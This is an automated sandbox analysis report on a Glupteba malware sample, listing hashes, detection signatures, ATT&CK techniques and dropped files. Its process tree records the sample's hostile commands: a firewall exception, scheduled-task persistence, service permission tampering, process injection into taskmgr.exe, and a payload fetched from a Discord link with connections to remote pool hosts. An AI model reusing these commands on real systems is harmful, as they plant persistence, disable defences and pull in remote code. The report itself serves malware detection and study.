glupteba | 76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb

Analysis

max time kernel
299s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
25/04/2024, 02:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb.exe
Size 4.2MB
Sample240425-dggjqaeb34
SHA256 76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb
MD5 47e5c668e84b6e00022a0daf1d2504dc
SHA1 f22de24a80776e337ed51f47b6fb8a0dff3f9a65
SHA512 c221820d271d4d9bdeb92b46a91f13fb31b9b1577897277600a7d16e004924efa5bff30101ae98deae45d35cb89eab7bd8e18ef7bc331f060f3c8b7c55cda48f
SSDEEP 98304:XjT6pm/2P1EIedoyrrZXBhSyarnWHeLg8t+TS4+Tk4:Xv6U2PmIStrrdSyAWH+g8n
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba dropper evasion loader upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 27 IoCs

resource	yara_rule
behavioral2/memory/4324-2-0x0000000005130000-0x0000000005A1B000-memory.dmp	family_glupteba
behavioral2/memory/4324-3-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4324-298-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4324-302-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4324-304-0x0000000005130000-0x0000000005A1B000-memory.dmp	family_glupteba
behavioral2/memory/1956-802-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1577-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1813-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1815-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1817-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1819-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1821-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1823-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1825-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1827-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1829-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1831-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1833-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1835-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1837-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1839-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1841-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1843-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1845-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1847-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1849-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/196-1851-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1620	netsh.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001abce-1808.dat	upx
behavioral2/memory/4112-1812-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4324-1814-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/4324-1818-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000b00000001ab7d-2105.dat	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3104	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4212	schtasks.exe
444	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb.exe
"C:\Users\Admin\AppData\Local\Temp\76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb.exe"
1⤵
PID:4324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  PID:2272
- C:\Users\Admin\AppData\Local\Temp\76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb.exe
  "C:\Users\Admin\AppData\Local\Temp\76fae6be17e2107655365bdb20fa4da2650f820c09c4cbabd75dc7c43d017ebb.exe"
  2⤵
  PID:1956
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:4280
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:2268
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:1620
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:3196
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:972
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    PID:196
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4248
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4212
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:3708
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4204
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      PID:1560
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:444
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      PID:4112
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        
        PID:1708
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        
        PID:3104
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:1612
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      PID:4528

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:4324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_jnfwhv2q.1hw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnfwhv2q.1hw.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

Submit Download

dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Size 205KB
SHA256 d5fa11f7271d3296852fe0f51ea9fbe1dca04a379e047e7e9d4e62f7ac042b3a
MD5 9d3284cc3cdff884e2547ca6216a6a14
SHA1 d87291a8dbe34a164da8add2aa2e79279f8eb977
SHA512 4306bac3d2abf6f3fc2e9037c6efbe0ea76e3ca8303f547373a43471958ccb2ac94de62fe4bd7ddf7ad76fc2705d7b0b0555ba5c11374f59c8561d38e08dfb73
SSDEEP 3072:4buglnli1Fi2WjB+uy0gRFHgHcdVKIUjHoZ1qTdJhY1a8eWmI+h4fPX/4uNzP0bB:CB2UBitFsQ9oIZ0TdDAD+ef3nA
MD5 SHA1 SHA512 SSDEEP

Submit Download

injector.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 281KB
SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
MD5 d98e33b66343e7c96158444127a117f6
SHA1 bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA512 705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
MD5 1c19c16e21c97ed42d5beabc93391fc5
SHA1 8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA512 7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
MD5 SHA1 SHA512

Submit Download